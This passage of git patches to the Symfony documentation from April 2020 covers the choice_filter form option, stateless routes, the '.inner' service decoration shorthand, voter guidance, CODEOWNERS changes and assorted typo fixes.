+
 .. _reference-form-choice-label:
 
 .. include:: /reference/forms/types/options/choice_label.rst.inc
diff --git a/reference/forms/types/options/choice_filter.rst.inc b/reference/forms/types/options/choice_filter.rst.inc
new file mode 100644
index 00000000000..1f320bf1a69
--- /dev/null
+++ b/reference/forms/types/options/choice_filter.rst.inc
@@ -0,0 +1,82 @@
+``choice_filter``
+~~~~~~~~~~~~~~~~~
+
+**type**: ``callable``, ``string`` or :class:`Symfony\\Component\\PropertyAccess\\PropertyPath` **default**: ``null``
+
+.. versionadded:: 5.1
+
+    The ``choice_filter`` option has been introduced in Symfony 5.1.
+
+When using predefined choice types from Symfony core or vendor libraries (i.e.
+:doc:`CountryType </reference/forms/types/country>`) this option lets you
+define a callable that take each choice as only argument and must return
+``true`` to keep it or ``false`` to discard it::
+
+    // src/Form/Type/AddressType.php
+    namespace App\Form\Type;
+
+    use Symfony\Component\Form\AbstractType;
+    use Symfony\Component\Form\Extension\Core\Type\CountryType;
+    use Symfony\Component\Form\FormBuilderInterface;
+    use Symfony\Component\OptionsResolver\OptionsResolver;
+
+    class AddressType extends AbstractType
+    {
+        public function configureOptions(OptionsResolver $resolver)
+        {
+            $resolver
+                ->setDefaults([
+                    // enable this type to accept a limited set of countries
+                    'allowed_countries' => null,
+                ])
+            ;
+        }
+
+        public function buildForm(FormBuilderInterface $builder, array $options)
+        {
+            $allowedCountries = $options['allowed_countries'];
+
+            $builder
+                // ...
+                ->add('country', CountryType::class, [
+                    // if the AddressType "allowed_countries" option is passed,
+                    // use it to create a filter
+                    'choice_filter' => $allowedCountries ? function ($countryCode) use ($allowedCountries) {
+                        return in_array($countryCode, $allowedCountries, true);
+                    } : null,
+
+                ])
+            ;
+        }
+
+The option can be a callable or a property path when choices are objects::
+
+    // ...
+    $builder
+        ->add('category', ChoiceType::class, [
+            // ...
+            'choice_filter' => 'isSelectable',
+        ])
+    ;
+
+.. tip::
+
+    Considering this ``AddressType`` could be an entry of a ``CollectionType``
+    you should use the :class:`Symfony\\Component\\Form\\ChoiceList\\ChoiceList`
+    class helper to enable caching::
+
+        // src/Form/Type/AddressType.php
+        // ...
+        use Symfony\Component\Form\ChoiceList\ChoiceList;
+
+        // ...
+        'choice_filter' => $allowedCountries ? ChoiceList::filter(
+            // pass the type as first argument
+            $this,
+            function ($countryCode) use ($allowedCountries) {
+                return in_array($countryCode, $allowedCountries, true);
+            },
+            // pass the option that makes the filter "vary" to compute a unique hash
+            $allowedCountries
+        ) : null,
+        // ...

From 7936d23f7a2d5c3f29578bcaba0ab8e90d1a89b2 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sun, 12 Apr 2020 19:12:13 +0200
Subject: [PATCH 0639/7107] Updated CODEOWNERS

---
 .github/CODEOWNERS | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS
index d917bbee7ac..51ce53a1a89 100644
--- a/.github/CODEOWNERS
+++ b/.github/CODEOWNERS
@@ -3,9 +3,9 @@
 /components/console* @chalasr
 
 # Form
-/forms.rst @xabbuh
-/components/form* @xabbuh
-/reference/forms* @xabbuh
+/forms.rst @xabbuh @HeahDude
+/components/form* @xabbuh @HeahDude
+/reference/forms* @xabbuh @HeahDude
 
 # PropertyInfo
 /components/property_info* @dunglas
@@ -15,9 +15,9 @@
 /components/security* @chalasr
 
 # Validator
-/validation/*
-/components/validator* @xabbuh
-/reference/constraints* @xabbuh
+/validation/* @xabbuh @HeahDude
+/components/validator* @xabbuh @HeahDude
+/reference/constraints* @xabbuh @HeahDude
 
 # Workflow
 /workflow* @lyrixx

From e72420d33e72c4886df70d92b6ce066a4016ae9c Mon Sep 17 00:00:00 2001
From: Mathias Arlaud <mathias.arlaud@gmail.com>
Date: Mon, 9 Mar 2020 20:48:34 +0100
Subject: [PATCH 0640/7107] Add stateless route attribute documentation

---
 routing.rst | 78 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 78 insertions(+)

diff --git a/routing.rst b/routing.rst
index 0ac7f0de6b6..9aad9e8e603 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1805,6 +1805,84 @@ with a locale. This can be done by defining a different prefix for each locale
             ;
         };
 
+.. _stateless-routing:
+
+Stateless Routes
+----------------
+
+.. versionadded:: 5.1
+
+    The ``stateless`` option was introduced in Symfony 5.1.
+
+Sometimes, when an HTTP response should be cached, it is important to ensure
+that can happen. However, whenever session is started during a request, Symfony
+turns the response into a private non-cacheable response.
+
+For details, see :doc:`/http_cache`.
+
+Routes can configure a ``stateless`` boolean option in order to declare that the
+session shouldn't be used when matching a request:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Controller/MainController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class MainController extends AbstractController
+        {
+            /**
+             * @Route("/", name="homepage", stateless=true)
+             */
+            public function homepage()
+            {
+                // ...
+            }
+        }
+
+    .. code-block:: yaml
+
+        # config/routes.yaml
+        homepage:
+            controller: App\Controller\MainController::homepage
+            path: /
+            stateless: true
+
+    .. code-block:: xml
+
+        <!-- config/routes.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
+            <route id="homepage" controller="App\Controller\MainController::homepage" path="/" stateless="true"/>
+        </routes>
+
+    .. code-block:: php
+
+        // config/routes.php
+        use App\Controller\MainController;
+        use Symfony\Bundle\FrameworkBundle\Routing\Loader\Configurator\RoutingConfigurator;
+
+        return function (RoutingConfigurator $routes) {
+            $routes->add('homepage', '/')
+                ->controller([MainController::class, 'homepage'])
+                ->stateless()
+            ;
+        };
+
+Now, if the session is used, the application will report it based on your
+``kernel.debug`` parameter:
+* ``enabled``: will throw an :class:`Symfony\\Component\\HttpKernel\\Exception\\UnexpectedSessionUsageException` exception
+* ``disabled``: will log a warning
+
+It well help you understanding and hopefully fixing unexpected behavior in your application.
+
 .. _routing-generating-urls:
 
 Generating URLs

From f9690153df1c23268bf7c0ad6e82f92093833e59 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Sun, 12 Apr 2020 19:59:37 +0200
Subject: [PATCH 0641/7107] typo

---
 contributing/code/license.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/license.rst b/contributing/code/license.rst
index 4b7551d23b0..8c7c2fd19db 100644
--- a/contributing/code/license.rst
+++ b/contributing/code/license.rst
@@ -5,7 +5,7 @@ Symfony Code License
 
 Symfony code is released under `the MIT license`_:
 
-Copyright (c) 2004-2019 Fabien Potencier
+Copyright (c) 2004-2020 Fabien Potencier
 
 Permission is hereby granted, free of charge, to any person obtaining a copy
 of this software and associated documentation files (the "Software"), to deal

From bcb84de8250f439a85981bf4c300cac9c9c759a1 Mon Sep 17 00:00:00 2001
From: Zbigniew Malcherczyk <zmalcherczyk@gmail.com>
Date: Mon, 13 Apr 2020 00:35:15 +0200
Subject: [PATCH 0642/7107] Fix documentation for a controllers with __invoke
 function in php routing

Hi there current docs tell that proper using controller with ```__invoke``` class should be implemented by:
```
// if the action is implemented as the __invoke() method of the
// controller class, you can skip the ', method_name]' part:
// ->controller([BlogController::class])
```

which is wrong. The doc should be without [] brackets:
```
// ->controller(BlogController::class)
```
---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 4d623835970..fa5aa3871a4 100644
--- a/routing.rst
+++ b/routing.rst
@@ -137,7 +137,7 @@ the ``BlogController``:
 
                 // if the action is implemented as the __invoke() method of the
                 // controller class, you can skip the ', method_name]' part:
-                // ->controller([BlogController::class])
+                // ->controller(BlogController::class)
             ;
         };
 

From 0ea974141e25a093efee973d9a7050deb0487723 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 14 Apr 2020 10:09:07 +0200
Subject: [PATCH 0643/7107] Tweak

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index fa5aa3871a4..baba8267706 100644
--- a/routing.rst
+++ b/routing.rst
@@ -136,7 +136,7 @@ the ``BlogController``:
                 ->controller([BlogController::class, 'list'])
 
                 // if the action is implemented as the __invoke() method of the
-                // controller class, you can skip the ', method_name]' part:
+                // controller class, you can skip the 'method_name' part:
                 // ->controller(BlogController::class)
             ;
         };

From a8b22a7d3b23ce18ff90367af926506f7749ecaf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 14 Apr 2020 10:35:19 +0200
Subject: [PATCH 0644/7107] [DI] Replaced inline() by service() in PHP DSL

---
 service_container/alias_private.rst | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index ff5729ccd45..ffde46bfce6 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -267,15 +267,20 @@ The following example shows how to inject an anonymous service into another serv
             $services = $configurator->services();
 
             $services->set(Foo::class)
-                ->args([inline(AnonymousBar::class)])
+                ->args([service(AnonymousBar::class)])
         };
 
+.. versionadded:: 5.1
+
+    The ``service()`` function was introduced in Symfony 5.1. In previous
+    versions it was called ``inline()``.
+
 .. note::
 
     Anonymous services do *NOT* inherit the definitions provided from the
     defaults defined in the configuration. So you'll need to explicitly mark
     service as autowired or autoconfigured when doing an anonymous service
-    e.g.: ``inline(Foo::class)->autowire()->autoconfigure()``.
+    e.g.: ``service(Foo::class)->autowire()->autoconfigure()``.
 
 Using an anonymous service as a factory looks like this:
 
@@ -318,7 +323,7 @@ Using an anonymous service as a factory looks like this:
             $services = $configurator->services();
 
             $services->set(Foo::class)
-                ->factory([inline(AnonymousBar::class), 'constructFoo'])
+                ->factory([service(AnonymousBar::class), 'constructFoo'])
         };
 
 Deprecating Services

From 045625308a0a41cf922ca424a2a99b5f8dedac98 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 14 Apr 2020 10:54:07 +0200
Subject: [PATCH 0645/7107] [DI] Updated the way inner services are referrer to
 in decoration

---
 reference/configuration/framework.rst    |  2 +-
 service_container/service_decoration.rst | 38 ++++++++++++++----------
 2 files changed, 23 insertions(+), 17 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 3c0afc31e03..caafcaf1693 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2850,7 +2850,7 @@ Name of the lock you want to create.
         lock.invoice.retry_till_save.store:
             class: Symfony\Component\Lock\Store\RetryTillSaveStore
             decorates: lock.invoice.store
-            arguments: ['@lock.invoice.retry_till_save.store.inner', 100, 50]
+            arguments: ['@.inner', 100, 50]
 
 workflows
 ~~~~~~~~~
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 0e096955140..f4200a85d4c 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -58,7 +58,7 @@ Most of the time, that's exactly what you want to do. But sometimes,
 you might want to decorate the old one instead (i.e. apply the `Decorator pattern`_).
 In this case, the old service should be kept around to be able to reference
 it in the new one. This configuration replaces ``App\Mailer`` with a new one,
-but keeps a reference of the old one as ``App\DecoratingMailer.inner``:
+but keeps a reference of the old one as ``.inner``:
 
 .. configuration-block::
 
@@ -70,7 +70,7 @@ but keeps a reference of the old one as ``App\DecoratingMailer.inner``:
 
             App\DecoratingMailer:
                 # overrides the App\Mailer service
-                # but that service is still available as App\DecoratingMailer.inner
+                # but that service is still available as ".inner"
                 decorates: App\Mailer
 
     .. code-block:: xml
@@ -84,6 +84,8 @@ but keeps a reference of the old one as ``App\DecoratingMailer.inner``:
             <services>
                 <service id="App\Mailer"/>
 
+                <!-- overrides the App\Mailer service
+                     but that service is still available as ".inner" -->
                 <service id="App\DecoratingMailer"
                     decorates="App\Mailer"
                 />
@@ -106,7 +108,7 @@ but keeps a reference of the old one as ``App\DecoratingMailer.inner``:
 
             $services->set(DecoratingMailer::class)
                 // overrides the App\Mailer service
-                // but that service is still available as App\DecoratingMailer.inner
+                // but that service is still available as ".inner"
                 ->decorate(Mailer::class);
         };
 
@@ -119,7 +121,7 @@ decorating service has one argument type-hinted with the decorated service class
 If you are not using autowiring or the decorating service has more than one
 constructor argument type-hinted with the decorated service class, you must
 inject the decorated service explicitly (the ID of the decorated service is
-automatically changed to ``decorating_service_id + '.inner'``):
+automatically changed to ``'.inner'``):
 
 .. configuration-block::
 
@@ -132,7 +134,7 @@ automatically changed to ``decorating_service_id + '.inner'``):
             App\DecoratingMailer:
                 decorates: App\Mailer
                 # pass the old service as an argument
-                arguments: ['@App\DecoratingMailer.inner']
+                arguments: ['@.inner']
 
     .. code-block:: xml
 
@@ -148,7 +150,7 @@ automatically changed to ``decorating_service_id + '.inner'``):
                 <service id="App\DecoratingMailer"
                     decorates="App\Mailer"
                 >
-                    <argument type="service" id="App\DecoratingMailer.inner"/>
+                    <argument type="service" id=".inner"/>
                 </service>
 
             </services>
@@ -170,9 +172,13 @@ automatically changed to ``decorating_service_id + '.inner'``):
             $services->set(DecoratingMailer::class)
                 ->decorate(Mailer::class)
                 // pass the old service as an argument
-                ->args([ref(DecoratingMailer::class.'.inner')]);
+                ->args([ref('.inner')]);
         };
 
+.. versionadded:: 5.1
+
+    The special ``.inner`` value was introduced in Symfony 5.1. In previous
+    versions you needed to use: ``decorating_service_id + '.inner'``.
 
 .. tip::
 
@@ -256,12 +262,12 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
         Bar:
             decorates: Foo
             decoration_priority: 5
-            arguments: ['@Bar.inner']
+            arguments: ['@.inner']
 
         Baz:
             decorates: Foo
             decoration_priority: 1
-            arguments: ['@Baz.inner']
+            arguments: ['@.inner']
 
     .. code-block:: xml
 
@@ -276,11 +282,11 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
                 <service id="Foo"/>
 
                 <service id="Bar" decorates="Foo" decoration-priority="5">
-                    <argument type="service" id="Bar.inner"/>
+                    <argument type="service" id=".inner"/>
                 </service>
 
                 <service id="Baz" decorates="Foo" decoration-priority="1">
-                    <argument type="service" id="Baz.inner"/>
+                    <argument type="service" id=".inner"/>
                 </service>
             </services>
         </container>
@@ -297,11 +303,11 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
 
             $services->set(Bar::class)
                 ->decorate(Foo::class, null, 5)
-                ->args([ref(Bar::class.'.inner')]);
+                ->args([ref('.inner')]);
 
             $services->set(Baz::class)
                 ->decorate(Foo::class, null, 1)
-                ->args([ref(Baz::class.'.inner')]);
+                ->args([ref('.inner')]);
         };
 
 
@@ -331,7 +337,7 @@ Three different behaviors are available:
         Bar:
             decorates: Foo
             decoration_on_invalid: ignore
-            arguments: ['@Bar.inner']
+            arguments: ['@.inner']
 
     .. code-block:: xml
 
@@ -346,7 +352,7 @@ Three different behaviors are available:
                 <service id="Foo"/>
 
                 <service id="Bar" decorates="Foo" decoration-on-invalid="ignore">
-                    <argument type="service" id="Bar.inner"/>
+                    <argument type="service" id=".inner"/>
                 </service>
             </services>
         </container>
@@ -365,7 +371,7 @@ Three different behaviors are available:
 
             $services->set(Bar::class)
                 ->decorate(Foo::class, null, 0, ContainerInterface::IGNORE_ON_INVALID_REFERENCE)
-                ->args([ref(Bar::class.'.inner')])
+                ->args([ref('.inner')])
             ;
         };
 

From b8e5964674c44fc7475e2743d743f914804f3780 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 14 Apr 2020 11:18:34 +0200
Subject: [PATCH 0646/7107] [DI] Removed an unneeded note about some parent
 services restrictions

---
 service_container/parent_services.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index ee04e377238..666386c7654 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -150,12 +150,6 @@ be called when ``App\Repository\DoctrineUserRepository`` is instantiated.
 All attributes on the parent service are shared with the child **except** for
 ``shared``, ``abstract`` and ``tags``. These are *not* inherited from the parent.
 
-.. note::
-
-    If you have a ``_defaults`` section in your file, all child services are required
-    to explicitly override those values to avoid ambiguity. You will see a clear
-    error message about this.
-
 .. tip::
 
     In the examples shown, the classes sharing the same configuration also

From 0fd77b1a591161515be89bcec2d2dac80b2baf96 Mon Sep 17 00:00:00 2001
From: Valentin Udaltsov <udaltsov.valentin@gmail.com>
Date: Tue, 14 Apr 2020 18:28:15 +0300
Subject: [PATCH 0647/7107] Update uid.rst

---
 components/uid.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 94a21955d4b..f2fcd074533 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -137,7 +137,7 @@ Instantiate the ``Ulid`` class to generate a random ULID value::
 
     $ulid = new Ulid();  // e.g. 01AN4Z07BY79KA1307SR9X4MV3
 
-If your UUID is generated by another system, use the ``fromString()`` method to
+If your ULID is generated by another system, use the ``fromString()`` method to
 create an object and make use of the utilities available for Symfony ULIDs::
 
     // this value is generated somewhere else
@@ -180,7 +180,7 @@ ULID objects created with the ``Ulid`` class can use the following methods::
     // comparing ULIDs and checking for equality
     $ulid1->equals($ulid2); // false
     // this method returns $ulid1 <=> $ulid2
-    $uuid1->compare($uuid4); // e.g. int(-1)
+    $ulid1->compare($ulid2); // e.g. int(-1)
 
 .. _`unique identifiers`: https://en.wikipedia.org/wiki/UID
 .. _`UUIDs`: https://en.wikipedia.org/wiki/Universally_unique_identifier

From a3ff4e04e1db26fbb9d51fb2a2928ea98fcd4bb4 Mon Sep 17 00:00:00 2001
From: Alexandre <alexandre.castelain@fulgens.be>
Date: Tue, 14 Apr 2020 17:16:51 +0200
Subject: [PATCH 0648/7107] The Client class has been replaced by the
 AbstractBrowser since SF 4.3

---
 components/browser_kit.rst | 12 ++++++------
 testing.rst                |  2 +-
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 8108bf8f816..c32dbd92f53 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -39,16 +39,16 @@ Creating a Client
 The component only provides an abstract client and does not provide any backend
 ready to use for the HTTP layer.
 
-To create your own client, you must extend the abstract ``Client`` class and
-implement the :method:`Symfony\\Component\\BrowserKit\\Client::doRequest` method.
+To create your own client, you must extend the ``AbstractBrowser`` class and
+implement the :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::doRequest` method.
 This method accepts a request and should return a response::
 
     namespace Acme;
 
-    use Symfony\Component\BrowserKit\Client as BaseClient;
+    use Symfony\Component\BrowserKit\AbstractBrowser;
     use Symfony\Component\BrowserKit\Response;
 
-    class Client extends BaseClient
+    class Client extends AbstractBrowser
     {
         protected function doRequest($request)
         {
@@ -67,7 +67,7 @@ provided by the :doc:`HttpKernel component </components/http_kernel>`.
 Making Requests
 ~~~~~~~~~~~~~~~
 
-Use the :method:`Symfony\\Component\\BrowserKit\\Client::request` method to
+Use the :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::request` method to
 make HTTP requests. The first two arguments are the HTTP method and the requested
 URL::
 
@@ -81,7 +81,7 @@ The value returned by the ``request()`` method is an instance of the
 :doc:`DomCrawler component </components/dom_crawler>`, which allows accessing
 and traversing HTML elements programmatically.
 
-The :method:`Symfony\\Component\\BrowserKit\\Client::xmlHttpRequest` method,
+The :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest` method,
 which defines the same arguments as the ``request()`` method, is a shortcut to
 make AJAX requests::
 
diff --git a/testing.rst b/testing.rst
index c0f68bc8e4c..701b79dd1a3 100644
--- a/testing.rst
+++ b/testing.rst
@@ -484,7 +484,7 @@ script::
 AJAX Requests
 ~~~~~~~~~~~~~
 
-The Client provides a :method:`Symfony\\Component\\BrowserKit\\Client::xmlHttpRequest`
+The Client provides a :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest`
 method, which has the same arguments as the ``request()`` method, and it's a
 shortcut to make AJAX requests::
 

From 0fde94899ea4d4afc70f7eba856d888af548e402 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Wed, 15 Apr 2020 15:48:59 +0200
Subject: [PATCH 0649/7107] [String] fix typo

---
 components/string.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index 1a06c5ad69f..2eb2f88a038 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -152,8 +152,8 @@ There is also a method to get the bytes stored at some position::
     b('नमस्ते')->bytesAt(0);   // [224]
     u('नमस्ते')->bytesAt(0);   // [224, 164, 168]
 
-    b('नमस्ते')->bytesAt(1);   // [168]
-    u('नमस्ते')->bytesAt(1);   // [224, 164, 184, 224, 165, 141]
+    b('नमस्ते')->bytesAt(1);   // [164]
+    u('नमस्ते')->bytesAt(1);   // [224, 164, 174]
 
 Methods Related to Length and White Spaces
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From b610beb0cf2f9d5c0e68a153bfbb10dff3dc3dfe Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 11 Apr 2020 20:13:26 +0200
Subject: [PATCH 0650/7107] Describe voters a bit more prominent in the
 Security guide

---
 security.rst | 53 +++++++++++++++++++++++++---------------------------
 1 file changed, 25 insertions(+), 28 deletions(-)

diff --git a/security.rst b/security.rst
index 5aa5000b9cb..8cf4a8e4666 100644
--- a/security.rst
+++ b/security.rst
@@ -376,20 +376,24 @@ generated earlier, the roles are an array that's stored in the database, and
 every user is *always* given at least one role: ``ROLE_USER``::
 
     // src/Entity/User.php
-    // ...
-
-    /**
-     * @ORM\Column(type="json")
-     */
-    private $roles = [];
 
-    public function getRoles(): array
+    // ...
+    class User
     {
-        $roles = $this->roles;
-        // guarantee every user at least has ROLE_USER
-        $roles[] = 'ROLE_USER';
+        /**
+         * @ORM\Column(type="json")
+         */
+        private $roles = [];
 
-        return array_unique($roles);
+        // ...
+        public function getRoles(): array
+        {
+            $roles = $this->roles;
+            // guarantee every user at least has ROLE_USER
+            $roles[] = 'ROLE_USER';
+
+            return array_unique($roles);
+        }
     }
 
 This is a nice default, but you can do *whatever* you want to determine which roles
@@ -644,6 +648,16 @@ Securing other Services
 
 See :doc:`/security/securing_services`.
 
+Securing Individual Objects
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Most applications require more specific access rules. For instance, a user
+should be able to only edit their own comments on a blog. Voters allow you
+to write *whatever* business logic you need to determine access. Using
+these voters is similar to the role-based access checks implemented in the
+previous chapters. Read :doc:`/security/voters` to learn how to implement
+your own voter.
+
 Checking to see if a User is Logged In (IS_AUTHENTICATED_FULLY)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -681,22 +695,6 @@ like this:
   this - this is useful when *whitelisting* URLs to guarantee access - some
   details are in :doc:`/security/access_control`.
 
-.. _security-secure-objects:
-
-Access Control Lists (ACLs): Securing individual Database Objects
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Imagine you are designing a blog where users can comment on your posts. You
-also want a user to be able to edit their own comments, but not those of
-other users. Also, as the admin user, you want to be able to edit *all* comments.
-
-:doc:`Voters </security/voters>` allow you to write *whatever* business logic you
-need (e.g. the user can edit this post because they are the creator) to determine
-access. That's why voters are officially recommended by Symfony to create ACL-like
-security systems.
-
-If you still prefer to use traditional ACLs, refer to the `Symfony ACL bundle`_.
-
 .. _retrieving-the-user-object:
 
 5a) Fetching the User Object
@@ -1032,6 +1030,5 @@ Authorization (Denying Access)
 
 .. _`FrameworkExtraBundle documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle
-.. _`Symfony ACL bundle`: https://github.com/symfony/acl-bundle
 .. _`Symfony Security screencast series`: https://symfonycasts.com/screencast/symfony-security
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html

From bce240d5f27b6678f9ccb94374f8a3d53f25a02e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 16 Apr 2020 16:16:56 +0200
Subject: [PATCH 0651/7107] Renaming "Securing Individual Objects"

---
 security.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security.rst b/security.rst
index 4f8eb0b000c..9384426da5d 100644
--- a/security.rst
+++ b/security.rst
@@ -663,11 +663,11 @@ Securing other Services
 
 See :doc:`/security/securing_services`.
 
-Securing Individual Objects
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Setting Individual User Permissions
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Most applications require more specific access rules. For instance, a user
-should be able to only edit their own comments on a blog. Voters allow you
+should be able to only edit their *own* comments on a blog. Voters allow you
 to write *whatever* business logic you need to determine access. Using
 these voters is similar to the role-based access checks implemented in the
 previous chapters. Read :doc:`/security/voters` to learn how to implement

From 40bbd81828be424d8dcf92a5e8fdfd46bb9a6493 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 16 Apr 2020 17:15:32 +0200
Subject: [PATCH 0652/7107] Explaining controllers as viable alternative

See https://github.com/symfony/symfony-docs/issues/13406#issuecomment-614697619
---
 security/voters.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/security/voters.rst b/security/voters.rst
index 8fe7070c736..cc7cdaff2f4 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -31,6 +31,17 @@ in the application, which can be: affirmative, consensus or unanimous.
 For more information take a look at
 :ref:`the section about access decision managers <components-security-access-decision-manager>`.
 
+The example used throughout this page features just two routes (``post_show`` and ``post_edit``).
+However, the main advantage of voters is that you can reuse them in *many* controllers. So if you
+really need to secure just one or two routes, you can get away without setting up voters, by
+doing the check right inside your controller(s)::
+
+    // src/AppBundle/Controller/PostController.php
+
+    if ($post->getOwner() !== $this->getUser()) {
+        throw new AccessDeniedException();
+    }
+
 The Voter Interface
 -------------------
 

From 2bc5c541e20aa339de7341b02fb78f5e2e9cb6df Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 16 Apr 2020 17:27:50 +0200
Subject: [PATCH 0653/7107] Update voters.rst

Fixing https://github.com/symfony/symfony-docs/pull/13554/checks?check_run_id=592603240
---
 security/voters.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/security/voters.rst b/security/voters.rst
index cc7cdaff2f4..8fa5f14b767 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -37,7 +37,6 @@ really need to secure just one or two routes, you can get away without setting u
 doing the check right inside your controller(s)::
 
     // src/AppBundle/Controller/PostController.php
-
     if ($post->getOwner() !== $this->getUser()) {
         throw new AccessDeniedException();
     }

From 164aec4dd1af7f98e202788e17fe70f6017b8640 Mon Sep 17 00:00:00 2001
From: Wouter J <wouterj@users.noreply.github.com>
Date: Thu, 16 Apr 2020 18:55:05 +0200
Subject: [PATCH 0654/7107] [#13554] Slightly reworded the tip

---
 security/voters.rst | 21 +++++++++++++--------
 1 file changed, 13 insertions(+), 8 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index 8fa5f14b767..a07a906d78c 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -31,15 +31,20 @@ in the application, which can be: affirmative, consensus or unanimous.
 For more information take a look at
 :ref:`the section about access decision managers <components-security-access-decision-manager>`.
 
-The example used throughout this page features just two routes (``post_show`` and ``post_edit``).
-However, the main advantage of voters is that you can reuse them in *many* controllers. So if you
-really need to secure just one or two routes, you can get away without setting up voters, by
-doing the check right inside your controller(s)::
+.. tip::
 
-    // src/AppBundle/Controller/PostController.php
-    if ($post->getOwner() !== $this->getUser()) {
-        throw new AccessDeniedException();
-    }
+    The advantage of voters is that you can reuse them in *many* places and centralize
+    all permission logic. If you don't reuse permissions and the permissions are simple,
+    you might want to do the check in the controller directly and throw an ``AccessDeniedException``
+    to create the correct response::
+
+        // src/AppBundle/Controller/PostController.php
+        use Symfony\Component\Security\Core\Exception\AccessDeniedException;
+
+        // ...
+        if ($post->getOwner() !== $this->getUser()) {
+            throw new AccessDeniedException();
+        }
 
 The Voter Interface
 -------------------

From 28bb445e0fb550c55bda7f3fac2346b6bb9b07fa Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 11 Apr 2020 20:29:41 +0200
Subject: [PATCH 0655/7107] More radically remove Testing/HTTP Authentication
 contents

---
 testing/http_authentication.rst | 145 ++------------------------------
 1 file changed, 7 insertions(+), 138 deletions(-)

diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
index a34cb24fd1a..a55ae639e0b 100644
--- a/testing/http_authentication.rst
+++ b/testing/http_authentication.rst
@@ -6,143 +6,12 @@ How to Simulate HTTP Authentication in a Functional Test
 
 .. caution::
 
-    Starting from Symfony 5.1, the methods explained in this article are no
-    longer recommended to logging in users in your tests. Instead, use
-    :ref:`the loginUser() method <testing_logging_in_users>`.
